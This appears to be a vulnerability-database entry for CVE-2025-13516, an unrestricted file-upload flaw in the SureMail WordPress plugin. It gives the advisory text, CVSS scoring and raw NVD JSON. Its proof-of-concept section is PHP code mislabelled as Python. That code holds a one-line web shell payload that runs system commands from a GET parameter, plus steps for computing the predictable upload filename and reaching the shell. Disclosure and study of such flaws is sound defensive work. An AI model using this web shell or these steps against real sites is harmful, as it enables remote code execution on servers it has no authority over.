Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-13516 CVSS 8.1 HIGH

CVE-2025-13516

Published: 2025-12-02 09:15:47
Last Modified: 2026-04-15 00:35:42

Description

The SureMail – SMTP and Email Logs Plugin for WordPress is vulnerable to Unrestricted Upload of File with Dangerous Type in versions up to and including 1.9.0. This is due to the plugin's save_file() function in inc/emails/handler/uploads.php which duplicates all email attachments to a web-accessible directory (wp-content/uploads/suremails/attachments/) without validating file extensions or content types. Files are saved with predictable names derived from MD5 hashes of their content. While the plugin attempts to protect this directory with an Apache .htaccess file to disable PHP execution, this protection is ineffective on nginx, IIS, and Lighttpd servers, or on misconfigured Apache installations. This makes it possible for unauthenticated attackers to achieve Remote Code Execution by uploading malicious PHP files through any public form that emails attachments, calculating the predictable filename, and directly accessing the file to execute arbitrary code granted they are exploiting a site running on an affected web server configuration.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SureMail WordPress Plugin <= 1.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-13516 PoC - WordPress SureMail Unrestricted File Upload to RCE // Target: SureMail Plugin <= 1.9.0 // Attack Vector: Upload malicious PHP file via email attachment, then execute via direct access // Step 1: Generate malicious PHP payload $payload = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>'; // Step 2: Calculate predictable MD5 hash (same as plugin's save_file function) $filename = md5($payload) . '.php'; // Step 3: If you have an email sending functionality on the target site, // send an email with this PHP file as attachment through any public form // (contact form, registration, etc.) // Step 4: After upload, the file will be accessible at: $target_url = "http://target.com/wp-content/uploads/suremails/attachments/" . $filename; // Step 5: Execute commands via GET parameter // Example: GET /wp-content/uploads/suremails/attachments/[md5_hash].php?cmd=whoami echo "Target URL: " . $target_url . "\n"; echo "Filename: " . $filename . "\n"; // Alternative: Direct file upload via PHPMailer if you have SMTP credentials // The save_file() function is called when processing email attachments // regardless of whether the email is successfully sent ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13516", "sourceIdentifier": "[email protected]", "published": "2025-12-02T09:15:47.190", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SureMail – SMTP and Email Logs Plugin for WordPress is vulnerable to Unrestricted Upload of File with Dangerous Type in versions up to and including 1.9.0. This is due to the plugin's save_file() function in inc/emails/handler/uploads.php which duplicates all email attachments to a web-accessible directory (wp-content/uploads/suremails/attachments/) without validating file extensions or content types. Files are saved with predictable names derived from MD5 hashes of their content. While the plugin attempts to protect this directory with an Apache .htaccess file to disable PHP execution, this protection is ineffective on nginx, IIS, and Lighttpd servers, or on misconfigured Apache installations. This makes it possible for unauthenticated attackers to achieve Remote Code Execution by uploading malicious PHP files through any public form that emails attachments, calculating the predictable filename, and directly accessing the file to execute arbitrary code granted they are exploiting a site running on an affected web server configuration."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://cwe.mitre.org/data/definitions/434.html", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/suremails/trunk/inc/admin/plugin.php#L407", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/suremails/trunk/inc/emails/handler/uploads.php#L113", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/suremails/trunk/inc/emails/handler/uploads.php#L231", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3403145/suremails/trunk?contextall=1&old=3389326&old_path=%2Fsuremails%2Ftrunk", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f3a20047-a325-4d29-a848-7ffa525d0bad?source=cve", "source": "[email protected]"}]}}